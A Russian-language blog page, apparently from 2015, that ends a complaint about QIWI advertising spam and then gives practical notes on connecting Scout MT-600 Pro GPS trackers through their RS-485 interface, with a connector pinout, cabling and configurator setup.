- Вас никто ни о чём не спрашивает. Вам просто отправляют "легальный" спам. Наподобие того, что творится у Вас дома в почтовом ящике.

- Нет явной возможности отказаться от услуги. Только обходные пути.

- Спам может прийти от кого угодно, кто заключил договор с qiwi или с бесчисленными партнёрами.
Пример: раз, два, три. Тысячи их.
Нет гарантии добросовестности отправителя рекламы. Это может быть как добропорядочный торговец (хотя серьёзные люди не пользуются услугами спамеров), так и фармазон из Хацепетовки.

16 февр. 2015 г.

Скаут МТ-600 Pro и прочие - особенности и "секреты".

Производители GPS-трекеров стараются по мере возможности ограничить доступ к своим устройствам. Иногда это оправдано, а иногда приводит к лишним расходам и потере времени со стороны потребителя.

Столкнувшись по работе с продукцией ScoutNet и Galileo, я был неприятно удивлён некоторыми моментами касаемо работы с продукцией Scout и лёгкостью работы с Galileo.
Оставим подробности за рамками обзора, ниже я делюсь тем, что может быть полезным.

Интерфейс ScoutNet и ScoutOpen.


Что есть интерфейс "ScoutOpen" и "ScoutNet"? Это всего лишь интерфейс RS-485. Следовательно, подключиться к нему можно, используя любой конвертер RS485-USB или аналогичный.

Вот распиновка интерфейсных выходов с трекера, согласно инструкции:


1 V+ Красный Плюсовой контакт питания
2 V- Черный Масса (минус питания)
3 A1 Белый ScoutNet A
4 B1 Белый ScoutNet B
5 P0 Синий Универсальный порт 0
6 P1 Синий Универсальный порт 1
7 P2 Синий Универсальный порт 2
8 P3 Синий Универсальный порт 3
9 P4 Белый Универсальный порт 4
10 P5 Белый Универсальный порт 5
11 P6 Белый Универсальный порт 6
12 P7 Желтый Универсальный порт 7

Нас интересуют разъёмы №3 и №4. У "Скаута" они называются ScoutNet A и ScoutNet B, но мы-то с вами в курсе, что это RS485 )))

Подключение с помощью УНУ.


Я подключался при помощи УНУ для ДУТ "Эскорт".
Вот схема выходов на кабеле УНУ (универсальное настроечное устройство). Оно, вообще-то, предназначено для настройки датчиков уровня топлива, но прекрасно подключает и всё остальное - например, наш "Скаут")))

Нас интересует рис. 47 - схема выхода контактов. Вид кабеля опознаете по разъёму.


Правильно подключенное УНУ эмулирует в системе подключение по COM-порту, поэтому для верности смотрим в диспетчер устройств Windows.

Подводных камней в настройке практически нет, за исключением одного - для старых устройств получить новые прошивки можно только у партнёров "Скаута".

Конфигуратор.


Подключаемся с помощью конфигуратора: скачать с ГуглДиска.



В "диспетчере устройств" Windows проверяем номер COM-порта, который эмулирован при подключении, и выбираем его соответственно.

Если всё сделано верно, в левом поле программы появится наш "Скаут" (на рисунке пусто):



Возможные проблемы при подключении к серверу.


Если Ваш девайс долгое время не использовался и Вы хотите его оживить - готовьтесь к бюрократии.
Основная проблема в том, что с 2014 года сотовые провайдеры что-то у себя в протоколах поменяли, и Ваш старый "Скаут" тупо не сможет отправлять данные на сервер, т.е. локально он будет работать, а с сервером - нет.
В частности, с "Мегафоном" без обновления прошивки трекера отправка данных на сервер не работает.